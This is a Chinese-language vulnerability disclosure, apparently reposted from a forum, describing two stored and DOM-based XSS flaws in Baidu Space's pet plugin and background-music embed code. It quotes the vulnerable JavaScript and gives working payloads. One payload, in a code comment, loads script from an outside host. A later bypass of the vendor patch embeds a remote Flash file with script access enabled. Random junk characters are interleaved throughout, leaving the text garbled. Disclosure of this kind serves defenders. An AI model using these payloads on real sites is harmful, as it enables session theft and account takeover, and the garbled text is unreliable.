百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. % a7 s* X! E# [' O9 U R; G
3 R( n6 q8 t( l' O4 R8 [2 {6 E- W1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ) n1 n9 a7 X& j1 r @' {
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
1 @ L+ p! j$ ]2 }; o# g
" P. o3 b5 a9 z$ A8 L将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
2 n; R$ f, v' S% S" w4 Y. }, Q其中BdUtil.insertWBR为
3 r% ]2 S9 i0 ^0 Mfunction(text, step) { 3 h/ E+ Z6 a# y0 i& n1 _* q8 j
var textarea = textAreaCache || getContainer(); & W, G/ c# a9 L# S: [
if (!textarea) {
$ b9 L1 @& E3 O0 W return text;
% @2 g0 d/ e S7 m2 ` }
6 x1 X# }. V# n& b$ ~- T" V: }* p textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 7 c$ `, f. z4 s# |+ m4 M7 D
var string = textarea.value;
: {1 O' I# X9 K' p9 O$ ]8 ^* u var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
" [5 Y9 B1 _. N4 } var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 9 T% C0 H+ ?6 {2 M* W7 `4 _/ U# N
return result;
) D4 k, n2 f) d3 W. G( d} * `6 ^$ Y! d. p/ Z$ `
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
2 Z4 l2 P* p2 e1 ^& t" V测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> T0 k3 U& ^) v4 z ^ D, F' ~
0 _; y5 i6 E! ^* g* A `; J二:creatbgmusic() Dom-Xss Bug # T* }9 X& f$ D r) V
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
3 q/ n5 P0 E! y. R
, b, S6 t8 `! k4 V" g5 S: V在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
5 [- Q: n; G, k' _) ~9 y4 ~; ]0 B
9 n* n( o; c u {function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
# c; g# u. R! j( g //传入的murl赋值到bgmusic1和bgmusic2中 + z# d5 M* K3 K6 ~
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
Z/ g( ?$ Q# d( h* w0 | var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; # I2 V# w6 `. [% l, G z
if (musicnum <= 1) {
$ P0 z0 F4 v1 j5 B! b bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
0 f+ b! B" e7 U' b! I } " ^' s3 @& U/ _' d
bgmusic1 += "</OBJECT>";
% p$ _% {/ `) m# C/ V4 p D3 J var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 5 I, O3 S: _* h4 s3 g1 z
if (musicnum <= 1) { / N% e# J5 [: m/ F& g) L
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 8 m5 |2 P5 X. T! k; k$ @: B! p M
} ! H2 ~: D5 w) m" Q
bgmusic2 += "> </EMBED>";
0 X+ I" b0 E4 W3 L" ]' o/ S var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 7 y) t! B& b3 X* v' b+ t
var bgmus = detectWMP(); ) W& V( K2 l' c* s3 p9 _
if (functype == "FckMusicHelper") {
! @6 |! h* T- i6 u( \6 [7 | if (bgmus.installed) { + X! h2 A( H9 ]- Y; r
if (bgmus.type == "IE") { / q9 x0 q# p8 y" {
return bgmusic1; 3 b3 I' {- g, g6 a4 @+ s
} else if (bgmus.type == "NS") { 8 k* Q0 Q0 y1 A8 K6 [& E0 F
return bgmusic2; 0 t+ _. z5 M1 a7 M0 _# j
} 5 k+ P( n' W# r+ t% l
} else {
& o/ U1 B9 Z( r0 [0 Y! F! e return bgmusic3; 1 t$ u6 Q; a9 d3 O5 O
}
* E4 `6 _* d' W: t } else {
& e" |) R1 a( ^, f if (bgmus.installed) { ( ]7 y: W2 r6 f: c; E+ W
//document.write 直接输出bgmusic变量 导致xss . l* p& s/ H: x! I$ D7 y4 r" o/ |
if (bgmus.type == "IE") { W5 l6 r4 _! y; Z8 ^
document.write(bgmusic1); , E0 \" q/ z0 n
} else if (bgmus.type == "NS") { , d2 r4 ]. [5 W" `$ ~; \+ r' ]
document.write(bgmusic2); 3 c6 r: Z! t5 X! Y' J! e& [
} ! m. Q' ?% {7 \0 g) K
} else {
( n |* x9 F/ l0 o/ N( b document.write(bgmusic3);
. h( s: t, ~$ M& {4 y. E }
7 R6 N3 @' H: w' \: R return "";
6 f8 E$ c4 w% { }
0 D/ [3 `; l) A+ j' ~" ~}
8 }# c4 h s: I$ A7 h. C# s3 p
% q/ ^( D5 q# V, q1 u在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
% i5 _5 w# W. u, G4 ?4 j/ q- G9 p2 }1 e4 M- m
function initBlogTextForFCK(){ 9 ~# k4 V6 l$ g' V
//fck init music % f& }5 D! Y, ^3 {8 R
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
& {: P7 X- u% _5 e6 @- N* ovar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
6 y& A: e1 s% g: bvar isAutoPlay=true;
( ^9 L/ ^4 H. k% J( Z8 Lfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. . s* T" n+ f$ U) l4 g
var img=imgBox; % s W5 B, h# q3 B
if(img.getAttribute(’rel’)){ 2 S: d+ K D3 F& j! X% g
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
( M u# r/ n# u5 P! u" f var musicDiv = document.createElement("SPAN");
2 n5 B- y$ b3 q8 i; {! l& E var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
5 u2 s! \5 z1 v2 B+ t
2 ]; V8 f$ O" N E% m1 z! V .......................... $ L7 c; R1 A' h& m8 \6 k( |# h' a
$ u& t0 g+ n4 `4 W; }5 T //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
y1 r: N9 W: q P% G, R- ` P var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
+ ~. p# }8 h* {4 K0 y shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
: m% H: @( s1 }2 a. P# g b$ V musicDiv.innerHTML=shtml; 4 n/ ]4 }) f) z1 B
i--;n--;
2 D# H( A2 w/ J4 k6 J }
) a# B6 e0 S5 C# I}
- f6 a/ z s4 y$ z- X# F
! U8 c$ i1 @! Y Z$ |; s从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
6 _4 D" o; a! w: @8 g
$ I4 o( t# t% t7 r, ^& e J; k测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 7 v( V! H$ b7 g1 N- F
. O: P/ ^+ e4 [/ s. R. i) f
等待官方补丁 2 ~+ I. [8 J/ m# t
5 d3 D- c* p2 p+ B1 O% v
update 2010年5月13日
1 B) s& u* i/ ?: c
; K# j+ X! ?" V, _8 J+ C: t官方补丁:
( R: @% _" L) E$ ?! \2 y9 I0 V1 n- H$ K& L1 c* H
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 4 m1 \+ O- }& ?( L
改为:
, d/ _8 A+ G1 Tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); / z( _+ \1 ?9 I. b8 |
4 ?4 z( S# a' w5 V; [update 2010年5月13日 21:50:37
; O' L8 h* G M+ {- w
8 U4 E. ^1 ?9 L9 e" v补丁存在漏洞 没有过滤" 可以继续跨:
& b+ \( _4 M/ w ]0 X) D# [
; A0 C- T; z4 D( s" V* W3 y( y/ fNEW POC:
( Z. K. w+ L7 T5 a
2 Y7 {8 T( a5 A! Y0 v/ Y+ ^<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
7 ?/ a3 W0 r' \$ b9 y) C$ x7 X2 i$ ? [' p* m' k
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
& o q+ X' Y3 Q. X; y. d8 L* z _( `+ S+ h8 ?6 Z
|